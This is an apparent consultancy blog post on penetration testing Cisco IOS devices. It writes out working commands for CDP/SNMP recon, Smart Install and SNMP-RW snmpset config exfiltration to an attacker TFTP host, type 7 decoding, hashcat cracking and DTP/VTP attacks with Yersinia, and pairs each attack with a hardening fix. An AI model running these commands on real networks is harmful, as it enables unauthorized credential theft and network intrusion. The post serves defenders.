The whole series so far builds and hardens IOS. This post is the other side of the table: what I actually run against a Cisco switch or router on an engagement, and why each attack works. Every technique here maps back to a one-line fix from earlier posts — that's the point. You harden what you understand gets attacked.
Everything below is for authorized security testing — your own lab, a CTF, or an engagement with written scope — and to show defenders exactly what they're hardening against. Running these against gear you don't own or aren't contracted to test is illegal. The commands assume a lab (GNS3/CML/EVE-NG or kit on your bench); the payoff is the fix in each section, cross-linked to the defensive posts in this series.
Here's the uncomfortable truth from years of network pentests: you almost never exploit a Cisco box in the CVE sense. You collect it. The device hands you its own config through a management protocol nobody turned off, or an access port negotiates itself into a trunk, or a "temporary" SNMP community from 2014 is still private. The attack surface is the sum of every default the last engineer didn't disable.
This guide walks the real kill-chain in order: recon (CDP/LLDP and SNMP tell you the model, IOS version, and management IP for free), config theft (Smart Install and SNMP-RW both hand over running-config unauthenticated), credential cracking (the password types in that config, from the trivially-reversible type 7 to the crackable type 5), and Layer-2 abuse (DTP and VTP, the switch attacks that get you into VLANs you shouldn't reach). Each section ends with the single command that closes it.
01
Before touching anything, listen. Cisco Discovery Protocol broadcasts the device's identity to every access port every 60 seconds — model, IOS version, native VLAN, and management IP, no auth required. It's the friendliest recon in networking.
# CDP frames are multicast to 01:00:0c:cc:cc:cc every ~60s. # Sit on an access port and wait one interval. $ tcpdump -nn -v -i eth0 'ether host 01:00:0c:cc:cc:cc' -c 1 Device-ID 'CoreSW1.corp.local' Version 'Cisco IOS ... Version 15.2(4)E7' Platform 'cisco WS-C2960X-48' Address 10.10.0.2 Native VLAN 99 VTP 'CORP' # That one frame gave us model, IOS train, mgmt IP, native VLAN, VTP domain. # Now confirm SNMP and guess communities (public/private/cisco are forever). $ onesixtyone -c /usr/share/wordlists/snmp.txt 10.10.0.2 10.10.0.2 [private] Cisco IOS Software, C2960X ... Version 15.2(4)E7 $ snmpwalk -v2c -c private 10.10.0.2 | head # RW community — jackpot
CDP belongs between your own devices, never toward users or the edge: no cdp run globally, or no cdp enable per untrusted interface (prefer LLDP only where a phone genuinely needs it). SNMP: kill v1/v2c entirely and move to SNMPv3 with auth+priv — see Observability. If a community string must exist, it is never a dictionary word, and RW communities have no reason to exist on most networks at all.
02
Smart Install (SMI) is a zero-touch provisioning feature that listens on TCP 4786 and, on unpatched/unconfigured switches, will accept a crafted message that makes the switch TFTP its own running-config to an address you choose — no credentials. It shipped enabled on a generation of Catalysts and is still everywhere.
# 1. Is Smart Install listening? (TCP 4786) $ nmap -p4786 -sV --script cisco-smart-install 10.10.0.0/24 10.10.0.2 4786/tcp open smart-install | cisco-smart-install: Device is a Smart Install Client and vulnerable # 2. Start a TFTP server to catch the loot. $ sudo atftpd --daemon --port 69 /tmp/loot # 3. SIET: tell the switch to copy running-config to us over TFTP. $ python3 siet.py -g -r 10.10.0.2 -l 10.10.0.66 [*] Sending config-copy request to 10.10.0.2 ... [+] Received CoreSW1-confg (14 KB) -> /tmp/loot/CoreSW1-confg # The full running-config, including every password hash and key, unauthenticated. $ grep -E 'secret|password|snmp|key ' /tmp/loot/CoreSW1-confg
That's exactly the problem. SMI is on by default when there's no vstack configuration — the absence of config is the vulnerable state, not the presence of it. show vstack config reporting the role as Client (SmartInstall enabled) on a switch that was never meant to be provisioned this way is the tell. This single feature has driven mass internet-wide config theft campaigns; treat any 4786 exposed to users as a full compromise.
no vstack in global config disables Smart Install outright. If you genuinely can't (rare), restrict 4786 with an ACL to the provisioning server only. Verify with show vstack config → Role: Client (SmartInstall disabled). This is the highest-value one-liner in the whole hardening series.
03
A read-write SNMP community isn't "read a few OIDs" — it's an API into the device. With the CISCO-CONFIG-COPY-MIB you tell the switch to TFTP its running-config to you, using nothing but snmpset. Same loot as Smart Install, different unlocked door.
# RW community 'private' from recon. Row index 111 is arbitrary. # ccCopyProtocol=1(tftp) SourceFileType=4(running) DestFileType=1(networkFile) $ snmpset -v2c -c private 10.10.0.2 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a "10.10.0.66" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "CoreSW1.cfg" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1 # RowStatus=createAndGo ... ccCopyState.111 = running -> success # Config lands on your TFTP server. Metasploit has this canned: $ msfconsole -qx "use auxiliary/scanner/snmp/cisco_config_tftp; \ set RHOSTS 10.10.0.2; set COMMUNITY private; run; exit"
The whole attack dies without a guessable RW community. Migrate to SNMPv3 (authPriv), remove every snmp-server community line, and if legacy v2c is unavoidable, bind it read-only to a management ACL and use a random 20+ char string — never public/private/the hostname. See Observability for the v3 build. Bonus: log snmp-server config-copy events to syslog so an exfil attempt is visible.
04
You have the running-config. Now the password hashes in it become creds — and Cisco's password "types" range from instantly reversible to genuinely strong. Knowing which is which tells you what's worth cracking and what falls in seconds.
| Type in config | Algorithm | Attacker effort |
|---|---|---|
| password 7 09424B1C… | Vigenère (obfuscation) | Instant — reversible, not a hash |
| secret 5 $1$… | MD5-crypt | Fast — hashcat -m 500 |
| secret 4 $4$… | plain SHA-256 (broken impl) | Fast — deprecated by Cisco |
| secret 8 $8$… | PBKDF2-SHA256 | Slow — hashcat -m 9200 |
| secret 9 $9$… | scrypt | Slowest — hashcat -m 9300 |
# Type 7 is NOT encryption — it's reversible obfuscation. Decode instantly: $ echo '09424B1C0007' | ciscot7 -d - cisco # (any type-7 decoder does it; there's nothing to "crack") # Type 5 (MD5-crypt) — pull from config and throw a wordlist at it. $ grep 'secret 5' CoreSW1-confg enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0 $ hashcat -m 500 -a 0 '$1$mERr$hx5rVt7rPNoS4wqbXKX7m0' rockyou.txt $1$mERr$hx5rVt7rPNoS4wqbXKX7m0:cisco123
service password-encryption Is Theatre
That command only applies type 7 to plaintext passwords in the config — the reversible kind. It stops a shoulder-surfer, nothing more; anyone with the config has the cleartext in one command. It is not a substitute for real hashing. Use enable secret (never enable password), and prefer type 8 or 9 for local users: username admin algorithm-type scrypt secret <pw>. Those are the two rows an attacker groans at.
05
You don't always need the config. If an access port will negotiate a trunk, you get every VLAN. Dynamic Trunking Protocol (DTP) is on by default on many ports, and it's a one-tool attack.
# If the port is 'dynamic auto/desirable', DTP will happily trunk with us. # Yersinia forges DTP to flip the port into a trunk. $ yersinia dtp -attack 1 -interface eth0 [+] Enabling trunking on the attached port ... # Now create a subinterface per VLAN we saw in CDP and we're in all of them. $ vconfig add eth0 20 && ip addr add 10.20.0.66/24 dev eth0.20 $ ip link set eth0.20 up && ping 10.20.0.1 # VLAN 20 gateway — reachable # VTP: if the domain is unauthenticated, inject a higher-revision # advertisement to rewrite/wipe the VLAN database fleet-wide (DoS). $ yersinia vtp -attack 0 -interface eth0
On every user/access port: switchport mode access and switchport nonegotiate so DTP can never negotiate a trunk. Set an unused, tagged native VLAN on real trunks (kills double-tagging too), and either run VTP transparent or set a VTP password so injected advertisements are rejected. This is the core of Switch Security — the DTP/VTP attacks exist precisely because the defaults are "negotiate freely."
06
When I get a running-config on an engagement, this is the grep pass — the lines that turn into findings. Run it against your own configs first.
| Look for | Why it's a finding |
|---|---|
| no vstack absent | Smart Install exposed — unauth config theft (§02) |
| snmp-server community | v1/v2c community; RW = full compromise (§03) |
| enable password / password 7 | Reversible or weak; cleartext-equivalent (§04) |
| secret 5 / secret 4 | Crackable/deprecated hashes — move to 8/9 (§04) |
| switchport mode dynamic | DTP trunk negotiation → VLAN hopping (§05) |
| no transport input / telnet | Cleartext mgmt; sniffable creds — SSH only |
| cdp run on edge | Free recon handed to any user port (§01) |
| vtp mode server + no password | VLAN-DB injection / fleet DoS (§05) |
Takeaways
no cdp run at the edge, SNMPv3 only.vstack config = unauthenticated running-config theft. no vstack closes it in one line.snmpset sequence TFTPs the config to the attacker. Kill v2c and every RW community.service password-encryption protects nothing meaningful.switchport mode access + nonegotiate and a VTP password shut both.NOCTIS runs authorized network penetration tests and configuration audits on Cisco and MikroTik estates across Crete — Smart Install, SNMP, weak creds, Layer-2 exposure — and hands you a prioritized, fix-first report, not a scanner dump.
Book a Discovery Call →